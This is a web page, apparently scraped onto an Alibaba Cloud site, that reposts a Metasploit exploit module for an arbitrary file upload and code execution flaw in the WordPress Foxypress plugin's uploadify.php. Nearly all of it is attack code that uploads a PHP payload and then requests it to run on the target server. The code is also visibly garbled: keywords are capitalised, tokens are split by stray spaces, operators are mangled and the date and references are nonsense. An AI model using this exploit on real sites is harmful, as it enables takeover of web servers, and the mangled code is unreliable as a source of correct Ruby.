WordPress plugin Foxypress uploadify. php Arbitrary Code Execution

Source: Internet
Author: User


 

 
Require 'msf/core'
 

 
Class Metasploit3 <Msf: Exploit: Remote
 
Rank = ExcellentRanking
 

 
Include Msf: Exploit: Remote: HttpClient
 

 
Def initialize (info = {})
 
Super (update_info (info,
 
'Name' => 'wordpress plugin Foxypress uploadify. php Arbitrary Code Execution ',
 
'Description' => % q {
 
This module exploits an arbitrary PHP code execution flaw in the WordPress
 
Blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
 
File upload and remote code execution via the uploadify. php script. The Foxypress
 
Plug-in versions 0.4.2.1 and below are vulnerable.
 
},
 
'Author' =>
 
[
 
'Sammy FORGIT ', # Vulnerability Discovery, PoC
 
'Patrick '# Metasploit module
 
],
 
'License '=> MSF_LICENSE,
 
'Version' => '$ Revision $ ',
 
'References '=>
 
[
 
['Edb', '123'],
 
['Ossvdb', '123'],
 
['Bid', '123'],
 
],
 
'Privileged' => false,
 
'Payload' =>
 
{
 
'Compat' =>
 
{
 
'Connectiontype' => 'Find ',
 
},
 
},
 
'Platform' => 'php ',
 
'Arch '=> ARCH_PHP,
 
'Targets' => [['automatically ', {}],
 
'Disclosuredate' => 'jun 05 100 ',
 
'Defaulttarget' => 0 ))
 

 
Register_options (
 
[
 
OptString. new ('targeturi ', [true, "The full URI path to WordPress", "/"]),
 
], Self. class)
 
End
 

 
Def check
 
Uri = target_uri.path
 
Uri <'/' if uri [-1, 1]! = '/'
 

 
Res = send_request_cgi ({
 
'Method' => 'get ',
 
'Url' => "# {uri} wp-content/plugins/foxypress/uploadify. php"
 
})
 

 
If res and res. code = 200
 
Return Exploit: CheckCode: Detected
 
Else
 
Return Exploit: CheckCode: Safe
 
End
 
End
 
Www.2cto.com
 
Def exploit
 

 
Uri = target_uri.path
 
Uri <'/' if uri [-1, 1]! = '/'
 

 
Peer = "# {rhost }:# {rport }"
 

 
Post_data = Rex: MIME: Message. new
 
Post_data.add_part ("<? Php # {payload. encoded}?> "," Application/octet-stream ", nil," form-data; name = \ "Filedata \"; filename = \ "# {rand_text_alphanumeric (6 )}. php \"")
 

 
Print_status ("# {peer}-Sending PHP payload ")
 

 
Res = send_request_cgi ({
 
'Method' => 'post ',
 
'Url' => "# {uri} wp-content/plugins/foxypress/uploadify. php ",
 
'Ctype '=> 'multipart/form-data; boundary =' + post_data.bound,
 
'Data' => post_data.to_s
 
})
 

 
If not res or res. code! = 200 or res. body !~ /\ {\ "Raw_file_name \" \ :\ "(\ w + )\"\,/
 
Print_error ("# {peer}-File wasn't uploaded, aborting! ")
 
Return
 
End
 

 
Print_good ("# {peer}-Our payload is at :#{$ 1}. php! Calling payload ...")
 
Res = send_request_cgi ({
 
'Method' => 'get ',
 
'Url' => "# {uri} wp-content/affiliate_images/# {$1}. php"
 
})
 

 
If res and res. code! = 200
 
Print_error ("# {peer}-Server returned # {res. code. to_s }")
 
End
 

 
End
 

 
End

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.